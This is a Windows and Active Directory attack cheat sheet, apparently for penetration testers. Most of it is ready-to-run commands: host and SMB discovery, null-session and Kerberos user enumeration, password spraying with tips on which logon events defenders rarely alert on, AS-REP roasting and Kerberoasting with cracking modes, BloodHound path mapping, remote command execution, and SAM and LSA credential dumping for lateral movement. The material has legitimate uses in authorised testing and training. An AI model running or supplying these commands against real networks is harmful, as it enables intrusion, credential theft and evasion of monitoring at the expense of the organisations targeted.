

Windows Enumeration - Cheat Sheet

Enumerate a Windows / Active Directory environment from an attacker machine. Organized by goal — pick the tool that fits your situation. Replace placeholders (<...>) with your own values.

PART 1 — UNAUTHENTICATED ENUMERATION

Host & Service Discovery

Goal	Command
Ping sweep – find live hosts	<code>nmap -sn <target-range></code>
Quick top-100 port scan	<code>nmap -Pn --top-ports=100 -oA top100 <range></code>
Full service + version scan	<code>nmap -Pn -sCV -oA <output> -iL hosts_ips.txt -v</code>
OS fingerprinting	<code>nmap -Pn -O -sV -iL hosts_ips.txt</code>

-Pn skip ping (treat all as up — use when ICMP is blocked) -oA save all three formats (.nmap .xml .gnmap) -iL read targets from file -O requires root.

DC Discovery

```
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain> # returns all DC FQDNs and IPs
dig axfr <domain> @<dns-server-ip> # zone transfer – often blocked, always try
```

SMB Fingerprinting

```
nxc smb <target-range>
```

Also accepts: `cme smb` / `crackmapexec smb` (older aliases, same syntax). Look for: domain name, OS version, **Signing:** **False** (relay target), (Guest OK).

Null Session / General Enumeration

All-in-one unauthenticated recon — try this first on every SMB host:

```
enum4linux-ng -A <target>
```

When null sessions are allowed, pulls without credentials: domain info, user list, group list, shares, and password policy.

Manual RPC null session (fallback):

```
rpcclient -U "" -N <target>
```

Command (inside rpcclient)	Returns
srvinfo	OS info and server type
enumdomusers	Full domain user list
enumdomgroups	Full domain group list
querydomaininfo	Min password length, lockout policy
querydispinfo	Users with descriptions

User Enumeration

Option	Command	Notes
Kerbrute (best)	kerbrute userenum --dc <dc-ip> -d <domain> <users.txt> -t 50 # threads -o <file> # save valid users --downgrade # force RC4 for older DCs	Fastest. Generates no event 4625 — completely silent.
nmap script (no extra tool)	nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>' , userdb=<users.txt>" <dc-ip>	No extra tool needed. Slower than Kerbrute.
rpcclient (null session)	rpcclient -U "" -N <target> → enumdomusers	Only works if null session is allowed on the target.

Build `users.txt`: generate first.last / f.last / flast combos from LinkedIn or company sites. Tools: `linkedin2username`, `namemash.py`.

Share Enumeration (unauthenticated)

```
nxc smb <target> -u '' -p '' --shares # anonymous nxc smb <target> -u 'guest' -p ''  
--shares # guest smbclient //<target>/<share> -N # browse a share directly
```

READ or WRITE on non-default shares is a high-value finding. IPC\$ with guest access allows null-session RPC.

PART 2 — AUTHENTICATED ENUMERATION

Any `nxc` command using `-p <password>` can use `-H <NT-hash>` instead — pass-the-hash works everywhere.

Credential Verification & Spraying

```
nxc smb <target> -u <user> -p <pass> # verify single credential
nxc smb <range> -u <user> -p <pass> # spray via NTLM/SMB
nxc smb <range> -u <user> -H <hash> --local-auth # spray local accounts
kerbrute passwordspray --dc <dc-ip> -d <domain> <users.txt> <pass> # spray via Kerberos
```

Spray method	Event triggered	Notes
nxc smb spray	4625 (NTLM failure)	Commonly alerted on by blue teams
kerbrute spray	4771 (Kerberos failure)	Often not alerted — stealthier choice

[+] auth succeeded (Pwn3d!) local admin on that host --local-auth authenticate as local account instead of domain.

Password Policy — check BEFORE spraying

```
nxc smb <dc-ip> -u <user> -p <pass> --pass-pol
```

Field	What to do with it
Lockout threshold	Spray at most (threshold - 1) attempts per window
Observation window	Space your spray runs — wait for the counter to reset between rounds
Lockout duration	How long accounts stay locked after hitting the threshold
Min password length	Build smarter wordlists — skip passwords shorter than this

User Enumeration

Option	Command
NetExec	nxc smb <dc-ip> -u <user> -p <pass> --users
RID brute	nxc smb <dc-ip> -u <user> -p <pass> --rid-brute
Impacket	GetADUsers.py <domain>/<user>:<pass> -dc-ip <dc-ip> -all
ldapdomaindump	ldapdomaindump -u '<domain>\<user>' -p <pass> <dc-ip> -o <dir>

ldapdomaindump produces clean HTML/JSON files — open in a browser for a sortable view of all users, groups, and computers.

Group Enumeration

```
nxc smb <dc-ip> -u <user> -p <pass> --groups
```

Priority groups to find members of: Domain Admins, Enterprise Admins, Backup Operators, Account Operators, Server Operators, DNSAdmins.

Share Enumeration & Spidering

```
nxc smb <target> -u <user> -p <pass> --shares # list all accessible shares
nxc smb <target> -u <user> -p <pass> --spider-shares # crawl recursively for sensitive files
smbclient //<target>/<share> -U <user>%<pass> # browse manually
```

--spider-shares looks for: passwords.txt, config files, scripts with hardcoded creds, web.config, id_rsa, .kdbx, backup files.

LDAP Enumeration

```
nxc ldap <dc-ip> -u <user> -p <pass> --users
nxc ldap <dc-ip> -u <user> -p <pass> --groups
nxc ldap <dc-ip> -u <user> -p <pass> --computers
nxc ldap <dc-ip> -u <user> -p <pass> -M get-desc-users # descriptions often contain passwords # Manual raw query:
ldapsearch -x -H ldap://<dc-ip> -D "<user>@<domain>" -w <pass> \ -b
"DC=<domain>,DC=<tld>" "(objectClass=user)"
```

Kerberos Attack Surface

ASREPROastable accounts — 'Do not require pre-auth' flag set. Hash requestable without a password:

```
GetNPUsers.py <domain>/ -dc-ip <dc-ip> -usersfile <users.txt> -no-pass # no creds needed
GetNPUsers.py <domain>/<user>:<pass> -dc-ip <dc-ip> -request # with creds (more reliable)
```

Hash: \$krb5asrep\$ — crack with hashcat -m 18200. See the ASREP-roasting cheatsheet.

Kerberoastable accounts — SPN set. Any domain user can request the TGS ticket:

```
GetUserSPNs.py <domain>/<user>:<pass> -dc-ip <dc-ip> -request
```

Hash: \$krb5tgs\$ — crack with hashcat -m 13100. See the Kerberoasting cheatsheet.

AD Attack Path Mapping — BloodHound

Maps the entire AD and finds privilege escalation paths visually. Run the moment you have any domain credential.

```
# From Linux (no Windows foothold needed): bloodhound-python -u <user> -p <pass> -d <domain> -dc <dc-fqdn> -c all --zip # From Windows (SharpHound): SharpHound.exe -c all --zipfilename bloodhound.zip
```

Key BloodHound query	What it finds
Shortest Paths to Domain Admins	Fastest route from your current user to Domain Admin
Find All Domain Admins	Full list including nested group members
Find Principals with DCSync Rights	Accounts that can dump all hashes from the DC
Kerberoastable Users with Paths to DA	Service accounts worth roasting first
Find Computers where DA is Logged On	Machines where DA credentials may be in memory

Code Execution & Credential Dumping — requires local admin

```
nxc smb <target> -u <user> -p <pass> -x "<cmd>" # CMD execution
nxc smb <target> -u <user> -p <pass> -X "<ps-cmd>" # PowerShell execution
nxc smb <target> -u <user> -p <pass> --sam # local SAM hashes (NT hashes)
nxc smb <target> -u <user> -p <pass> --lsa # LSA secrets + cached domain creds
```

Recovered NT hashes → use with -H <NT-hash> in any nxc command. See the Pass-the-Hash cheatsheet.

RECOMMENDED WORKFLOW

Phase	Action	Goal
Unauthenticated	nmap sweep → nxc smb <range>	Map live hosts, grab domain name + signing status
Unauthenticated	nslookup SRV → enum4linux-ng -A <dc>	Find DCs, attempt null session dump
Unauthenticated	nxc smb -u '' --shares	Check for anonymous share access
Unauthenticated	kerbrute userenum	Build validated user list — no log events
Authenticated	nxc verify → --pass-pol	Confirm creds, check lockout before spraying
Authenticated	bloodhound-python -c all	Full AD map + attack path analysis
Authenticated	GetNPUsers / GetUserSPNs	Find accounts to roast offline
Authenticated	nxc ldap -M get-desc-users	Hunt for passwords in user descriptions
Authenticated	spray → --sam → --lsa	Lateral movement + credential harvesting

Key ideas: Always do full unauthenticated recon before using credentials — more is exposed than you expect. Kerbrute username enumeration generates no logon events — always the safest starting point. enum4linux-ng is the fastest all-in-one null-session first pass. BloodHound is the most powerful authenticated step — run it the moment you have any credential. SMB Signing: False + valid credentials = relay attack opportunity (see SMB-relay cheatsheet).